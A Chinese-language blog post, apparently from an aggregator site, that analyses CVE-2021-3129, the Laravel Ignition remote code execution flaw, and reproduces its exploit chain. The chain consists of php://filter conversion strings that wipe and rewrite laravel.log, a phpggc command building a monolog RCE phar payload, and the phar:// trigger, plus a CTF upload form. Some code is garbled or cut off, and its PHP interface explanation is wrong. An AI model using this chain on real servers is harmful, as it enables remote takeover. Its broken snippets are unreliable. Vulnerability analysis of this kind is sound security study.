您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關怎么進行CVE-2021-3129 漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
CVE-2021-3129漏洞很像hitcon2018的One Line PHP Challenge,于是去看了看
<?php ($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__); ?>
通過Get傳入orange參數作為文件名,系統將該文件的前6個字符與@<?php比較,若匹配則包含這個文件。
php中的session.upload_progress
文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
如下:
簡而言之,我們可以在上傳文件時POST一個可控參數來達到遠程命令執行的目的
<!DOCTYPE html> <html> <body><form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form></body> </html>
php.ini的默認選項
enabled=on
表示upload_progress
功能開始,也意味著當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;
cleanup=on
表示當文件上傳結束后,php將會立即清空對應session文件中的內容,這個選項非常重要;
name
當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控;
prefix+name
將表示為session中的鍵名
base64編碼
這里主要是介紹filter偽協議的convert.base64-decode
會將非base64字符給過濾掉后再進行decode
,但是如果=
后面出現了別的base64字符,則會出現報錯
interfece implements
<?php interface` `Cinema { ``const` `film = ``'加勒比海盜'``; ``public` `function` `show(); } class` `Order ``implements` `Cinema { ``public` `function` `show() ``{ ``echo` `"影院 接口開放了<br>"``; ``} } $face` `= ``new` `Order(); echo` `$face``->show(); echo` `Cinema::film;
個人理解:interface類似于python的裝飾器,implements就是@。
git clone https://github.com.cnpmjs.org/SNCKER/CVE-2021-3129.git cd CVE-2021-3129 docker-compose up -d
清空log
寫入phar
讀取phar
通過對Laravel的debug頁面進行抓包,再對比源碼
我們發現ViewFile以及variableName參數是可控的,源碼如下
class MakeViewVariableOptionalSolution implements RunnableSolution { ... public function run(array $parameters = []) { $output = $this->makeOptional($parameters); if ($output !== false) { file_put_contents($parameters['viewFile'], $output); } } public function makeOptional(array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile']); // [1] $newContents = str_replace('
分析下來,發現viewFile參數利用了php的"危險函數"
$contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents);
進一步分析,發現我們可以通過此頁面往Laravel的log文件寫入數據。那么我們可以結合上述函數,對laravel的log文件進行注入,達到遠程執行命令的目的。
我們首先清空log,然后寫入phar的POP鏈,再清空多余的字符,這樣就把log文件完全變成了phar規范的代碼,所以可以利用phar協議,反序列化執行代碼,達到RCE。難點在于清空log以及POP構造
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
通過多次編碼,將log文件內的字符轉換為非base64字符,然后再base64_decode
寫入AA,對齊
viewFile: AA
log文件的格式:
[時間] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]
PAYLOAD會在log中出現兩次,我們可以通過編碼去掉其中一個以及其他無關的字符。記得在payload后添加一個字符
payload的生成
一般使用phpggc
php -d 'phar.readonly=0' phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
小問題:在file_get_contents()
傳入\00
的時候php會報Warning,導致phar無法寫入。那么可以替代\00使用=00(python編碼),使用convert.quoted-printable-encode
過濾器將所有字符轉為=+ascii碼,再解碼出來。
清除多余字符
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt
phar://../storage/logs/laravel.log/test.txt
看完上述內容,你們對怎么進行CVE-2021-3129 漏洞分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。